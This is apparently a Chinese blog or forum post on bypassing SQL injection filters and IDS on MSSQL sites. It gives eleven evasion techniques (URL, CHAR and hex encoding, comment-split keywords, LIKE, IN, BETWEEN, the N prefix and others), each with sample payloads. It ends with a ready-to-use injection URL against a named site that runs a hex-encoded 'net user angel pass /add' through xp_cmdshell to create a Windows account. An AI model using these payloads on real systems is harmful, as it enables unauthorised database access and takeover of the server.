突然想我们是否可以用什么方法绕过SQL注入的限制呢？到网上考察了一下，提到的方法大多都是针对AND与“’”号和“
突然想我们是否可以用什么方法绕过SQL注入的限制呢？到网上考察了一下，提到的方法大多都是针对AND与“’”号和“=”号过滤的突破，虽然有点进步的地方，但还是有一些关键字没有绕过，由于我不常入侵网站所以也不敢对上述过滤的效果进行评论，但是可以肯定的是，效果不会很好……
经过我的收集，大部分的防注入程序都过滤了以下关键字：
and | select | update | chr | delete | from | ; | insert | mid | master. | set | =
而这里最难处理的就是select这个关键字了，那么我们怎样来突破他们呢？问题虽未完全解决，但还是说出来与大家分享一下，希望能抛砖引玉。
对于关键字的过滤，以下是我收集的以及我个人的一些想法。
1、运用编码技术绕过
如URLEncode编码，ASCII编码绕过。例如or 1=1即
or 1=1，而Test也可以为CHAR(101) CHAR(97) CHAR(115) CHAR(116)。
2、通过空格绕过 如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如 or’ swords’ =‘swords’
，由于mssql的松散性，我们可以把or ’swords’ 之间的空格去掉，并不影响运行。 3、运用字符串判断代替 用经典的or 1=1判断绕过,如 or ’swords’ =’swords’
，这个方法就是网上在讨论的。 4、通过类型转换修饰符N绕过 可以说这是一个不错的想法，他除了能在某种程度上绕过限制，而且还有别的作用，大家自己好好想想吧。关于利用，如or ’swords’ = N’ swords’ ，大写的N告诉mssql server 字符串作为nvarchar类型，它起到类型转换的作用，并不影响注射语句本身，但是可以避过基于知识的模式匹配IDS。 5、通过 号拆解字符串绕过 效果值得考证，但毕竟是一种方法。如 or ’swords’ =‘sw’ ’ ords’ ；EXEC(‘IN’ ’ SERT INTO ’ ’ …..’ )
6、通过LIKE绕过 以前怎么就没想到呢？如or ’swords’ LIKE ’sw’
！！！显然可以很轻松的绕过 “=”“>”
的限制…… 7、通过IN绕过 与上面的LIKE的思路差不多,如 or ’swords’ IN (’swords’) 8、通过BETWEEN绕过 如 or ’swords’ BETWEEN ’rw’ AND ’tw’ 9、通过>或者<绕过 or ’swords’ > ’sw’
or ’swords’ < ’tw’
or 1<3 …… 10、运用注释语句绕过 用/**/代替空格，如： UNION /**/ Select /**/user，pwd，from tbluser
用/**/分割敏感词，如： U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser
11、用HEX绕过，一般的IDS都无法检测出来 0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner) 另外，关于通用点的过滤方法，我们可以考虑采用赋值的方法，例如先声明一个变量a，然后把我们的指令赋值给a，然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下： declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a 效果 http://www.ilikeplmm.com/show.asp?id=1;declare @a% 20sysname select @a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 exec master.dbo.xp_cmdshell @a;--
其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是 “net user angel pass /add”
的意思。
